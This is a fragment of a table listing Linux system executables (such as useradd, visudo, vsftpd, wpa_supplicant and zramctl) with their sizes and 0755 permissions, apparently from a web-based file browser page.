|
| update-xmlcatalog | File | 16.88 KB | 0755 |
|
| usb_modeswitch | File | 67.5 KB | 0755 |
|
| usb_modeswitch_dispatcher | File | 66.01 KB | 0755 |
|
| useradd | File | 203.63 KB | 0755 |
|
| userdel | File | 138.7 KB | 0755 |
|
| usermod | File | 203.47 KB | 0755 |
|
| v4l2-dbg | File | 131 KB | 0755 |
|
| validlocale | File | 1.73 KB | 0755 |
|
| vcstime | File | 66.27 KB | 0755 |
|
| vdpa | File | 146.61 KB | 0755 |
|
| vigr | File | 72.42 KB | 0755 |
|
| vipw | File | 72.42 KB | 0755 |
|
| visudo | File | 332.59 KB | 0755 |
|
| vsftpd | File | 196.3 KB | 0755 |
|
| wayvnc-control.py | File | 2.3 KB | 0755 |
|
| wayvnc-generate-keys.sh | File | 1.02 KB | 0755 |
|
| wayvnc-run.sh | File | 524 B | 0755 |
|
| winbindd | File | 836.63 KB | 0755 |
|
| wipefs | File | 66.32 KB | 0755 |
|
| wpa_action | File | 1.69 KB | 0755 |
|
| wpa_cli | File | 196.45 KB | 0755 |
|
| wpa_supplicant | File | 3.19 MB | 0755 |
|
| xfce4-kiosk-query | File | 66.01 KB | 0755 |
|
| zic | File | 66.2 KB | 0755 |
|
| zramctl | File | 194.42 KB | 0755 |
|